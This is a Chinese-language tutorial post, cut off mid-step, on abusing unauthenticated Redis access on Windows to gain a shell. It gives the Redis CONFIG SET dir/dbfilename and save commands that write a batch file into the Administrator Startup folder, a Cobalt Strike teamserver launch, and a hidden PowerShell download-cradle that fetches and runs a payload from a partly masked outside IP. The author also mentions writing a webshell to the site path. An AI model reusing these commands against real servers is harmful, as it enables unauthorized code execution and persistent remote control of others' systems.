linux環境下redis未授權訪問獲取權限的文章教程很多也比較全,但是在windows下的利用文章確鮮少。windows下的利用可以通過啟動項獲取權限或者獲取網站絕對路徑寫入wenshell(當然肯定還有其他的方法),簡單記錄一下。
- 0x01 背景
前面搞到了一個redis未授權訪問,想通過定時任務獲取權限,結果:
雖然有可能是其他原因,后面的進一步測試才發現,目標主機是一台windows,/var/spool/cron是linux的crontab計划任務,如果是windows的話,可以使用啟動項。
- 0x02 寫入啟動項
windows下啟動項的目錄為:
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
內網中在這里我選在CS做C2,先啟動一個服務端:
./teamserver x.x.x.x 555
客戶端連接,添加一個listener:
選擇剛才的listener,launch生成代碼:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"
保存為1.bat。本地啟動redis服務端,並未授權訪問:
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" +OK config set dbfilename 1.bat +OK set x “\r\n\r\npowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”\r\n\r\n” +OK save +OK
這里因為權限問題,換了一台靶機,沒有截圖,重啟靶機(這是比較坑的地方),因為靶機可以出網,選擇了一台公網的vps做CS服務端: